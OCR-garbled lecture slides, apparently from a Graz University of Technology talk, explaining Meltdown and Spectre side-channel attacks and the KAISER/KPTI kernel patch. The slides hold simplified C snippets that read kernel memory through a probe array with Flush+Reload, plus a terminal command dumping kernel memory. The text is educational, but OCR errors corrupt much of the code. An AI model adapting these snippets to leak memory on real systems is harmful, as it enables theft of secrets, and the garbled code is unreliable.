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e it is in the news, all over the world
e you get a Wikipedia article in multiple languages
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printf("%d", 1i);
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Back to Work




7 Serve with cooked |
\ and peeled potaloes |










Wait for an hour

v

x LATENCY




1. Wash and cut ‘
IH vegelables |

2. Pick the basil leaves
and set aside |

! |
. 3. Heat 2 tablespoons of |
._;] oil in a pan

4. Fry vegelables until
golden and softened




3 Heat 2 tablespoons of
illl_; cil in a pan <

" 4. Fry vegelables until
golden and softened
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int width = 10, height = 5;
float diagonal = sqrt(width * width
+ height * height);

int area = width * height;

printf ("Area %d x %d = %d\n", width, height, area);
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Out-of-order Execution

Parallelize

10, height = 5;

b— int width
<
Q float diagonal = sqrt(width * width
+ height * height);
int area = widt * eight;
Q(D ‘ idth * heigh
<printf("Area %d x %d = %d\n", width, height, area);
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char data = *(char*)Oxffffffff81a000e0;
printf ("%c\n", data);
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char data = *(char*)O0xffffffff81a000e0;
printf ("%c\n", data);

segfault at fffffff£f81a000e0 ip

0000000000400535
sp 00007ffce4a80610 error 5 in reader

n Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

Adapted code

X 4
- "{

*

*(volatile charx*)O0;

.
- array [84 * 4096] = 0; // unreachable

Daniel Gruss — Graz University of Technology



Building Meltdown www.tugraz.at

Flush+Reload over all pages of the array

Access time
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Flush+Reload over all pages of the array

Access time

0 50 100 150 200 250
Page

This also works on AMD and ARM!
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e Combine the two things

v,
(] -
(RS

char data = *(char*)Oxffffffff81a000e0;
array[data * 4096] = 0;
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Flush-+Reload again...

500
400
300

Access time
[cycles]

. Meltdown actually works.
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Terminal

Edit View Search Terminal Help
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T . W
meltdown@meltdown ~/ppm2 % taskset 1 ./imgdump @x375a00000 14919 > outp
ut.flif

Reading from @xffff880375a00000
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Not so fast...
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e Kernel addresses in user space are a
problem
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e Kernel addresses in user space are a
problem

e Why don’'t we take the kernel addresses...
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e ...and remove them if not needed?
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...and remove them www.tugraz.at

e ...and remove them if not needed?

e User accessible check in hardware is not
reliable
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e Our patch
e Adopted in

Linux
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’

e Our patch
. e Adopted in e Adopted in
e Adopted in X
: P Windows OSX/iOS
Linux

— now in every computer
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index = 0;
charx data = "textKEY";

if (index < 4)

%(‘Q'o @ %9

Prediction

LUT [data[index] * 1 0
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charx data = "%extKEY";

if (index < 4)
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Prediction
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index = 0O;
charx data = "%extKEY";

if (index < 4)

%(‘Q'(\ @ %@

Prediction

LUT [data[index] * 1 0
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index = 1;
charx data = "textKEY";

if (index < 4)
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Prediction
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index = 2;
charx data = "textKEY";

if (index < 4)
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Prediction

LUT [data[index] * 1 0
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Prediction
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index = 2;
charx data = "textKEY";

if (index < 4)
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index = 3;
charx data = "textKEY";

if (index < 4)
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index = 3;
charx data = "textKEY";
if (index < 4)
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LUT [data[index] * 1 0
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index = 4;
charx data = "textKEY";

if (index < 4)

Q Ve
& Q

~

Prediction

LUT [data[index] * 1 0
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index = 4;
charx data = "textKEY";

if (index <

Q e
e, Y
Q
Predlctlon

LUT [data[index] *
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index = 4;
charx data = "textKEY";

if (index <
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index = 4;

N\

charx data = "texiKEY";

if (index < 4)

Q (V7
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Prediction

LUT [data[index] * 1 0
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index = 5;
charx data = "textKEY";

if (index < 4)
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index = 5;
charx data = "textKEY";

if (index < 4)

%(‘Q'Q @ %0

Prediction

LUT [data[index] * 1 0
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index = 6;
charx data = "textKEY";

if (index < 4)
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index = 6;
charx data = "textKEY";

if (index < 4)
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index = 6;
charx data = "textKEY";

if (index < 4)
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We have ignored microarchitectural attacks for many many years:
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We have ignored microarchitectural attacks for many many years:
e attacks on crypto — “software should be fixed”
e attacks on ASLR — “ASLR is broken anyway”

e attacks on SGX and TrustZone — “not part of the threat model”

e Rowhammer attacks — “only affects cheap sub-standard modules”

— for years we solely optimized for performance
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When you read the manuals...

www.tugraz.at

After learning about a side channel you realize:
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— After learning about a side channel you realize:
— e the side channels were documented in the Intel manual
v—
v—
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When you read the manuals...
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— After learning about a side channel you realize:
— e the side channels were documented in the Intel manual
v e only now we understand the implications
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Conclusions www.tugraz.at

A unique chance to

e for the security industry and academia to grow up
— e find good trade-offs between security and performance,
: efficiency, and complexity

e like the health sector, learn to cope with diseases
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